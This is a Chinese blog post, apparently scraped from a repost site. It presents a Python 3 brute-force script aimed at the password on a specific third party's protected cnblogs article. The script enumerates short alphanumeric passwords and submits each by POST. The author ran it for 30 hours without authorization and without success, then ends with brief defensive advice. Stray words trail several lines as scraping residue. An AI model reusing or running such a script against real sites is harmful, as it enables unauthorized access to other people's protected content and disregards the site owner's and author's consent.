一個最簡單的博客園文章密碼暴力破解器-python3實現

一個最簡單的博客園文章密碼暴力破解器-python3實現html

我以前想寫路由器的密碼暴力破解器,我手上只有極路由,發現極路由有安全限制,只能容許連續10密碼錯誤,因此我改拿博客園練手。python

博客園的博客有個功能是給博文設置一個密碼,輸入正確的密碼才能看到文章的內容。通過測試發現這個密碼驗證功能,既沒有驗證碼也沒有提交頻率的限制,安全

要寫這個針對博客園的密碼暴力破解器模型會很是簡單,很好實現。多線程

好比打開這個博文,會顯示一個密碼輸入框:http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html分佈式

我以前沒有寫過這樣的程序,也沒有看過別人寫這類功能的代碼,就按我本身所理解的想法來寫一個最簡單的密碼破解器,不要多線程,不要分佈式,函數

這個程序會有這麼兩個部分:post

一、我須要一個生成器,能夠不停的生成全部可能的密碼組合,好比生成a,b,c,aa,bb,cc,ab,ac...abc,cba...abcd...等等全部的密碼組合。測試

二、我須要不停的提交密碼,直到認爲密碼正確,記錄密碼,退出程序。url

-_-!爲何使用生成器?線程

python2中range() 不是一個生成器,當你range(N),N爲一個很大的數時...python就會爆炸!!!哈哈哈..

寫細緻的博客太消耗時間和心力,我這裏不寫具體的分析過程了,後面直接上代碼,若是看不懂,查相關關鍵詞就能夠,畢竟基礎教程性的文章和內容很是之多。

tqdm是一個python進度條庫,requests是一個簡單優雅的http庫,

product是python3的標準庫itertools下的函數,能夠用生成 (a,b,c...) (c,b,a...)這樣的序列,用''.join鏈接起來就獲得了"abc"這樣的一個密碼。

"""
python3暴力窮舉密碼
2016年6月09日 04:39:25  codegay
"""
from time import strftime
from itertools import product
from time import sleep
from tqdm import tqdm
import requests
from requests import post

#密碼生成器
def psgen(x=4):
    iter = ['1234567890',
            'abcdefghijklmnopqrstuvwxyz',
            'ABCDEFGHIJKLMNOPQRSTUVWXYZ',

            ]
    for r in iter:
        for repeat in range(1,x+1):
            for ps in product(r,repeat=repeat):
                yield ''.join(ps)

def fx(url):
#把URL中的readauth字符刪掉,替換成"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"這樣的格式,由於這個才POST的目標地址。
    url = url.replace("/post/readauth?url=", "")
    for ps in tqdm(psgen(6)):
        try:
            rs=post(url,data={'tb_password':ps},allow_redirects=1)
            if rs.url == url:  #若是提交密碼後,返回的url獲得爲"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"這樣的形式,那麼認爲猜到正確的密碼了。
                with open("resut.csv","a+") as f:
                    f.write('密碼破解成功結果爲:,'+ ps + ',' + strftime("%c") + ',' + url+'\n')
                break
        except:
            sleep(1)
            pass

url='http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html'
fx(url)

最後,這個程序運行速度大約是每秒提交6次密碼,我運行了30個小時,也不過是迭代幾十萬次,並無能把密碼破解出來,沒有產生實質性的危害。

總結:

一、密碼驗證的地方適當增長一些防止暴力破解的手段。

二、仍然有必要使用複雜的密碼提升安全度。雖然這樣的一個簡單的程序並無什麼卵用。

相關文章
相關標籤/搜索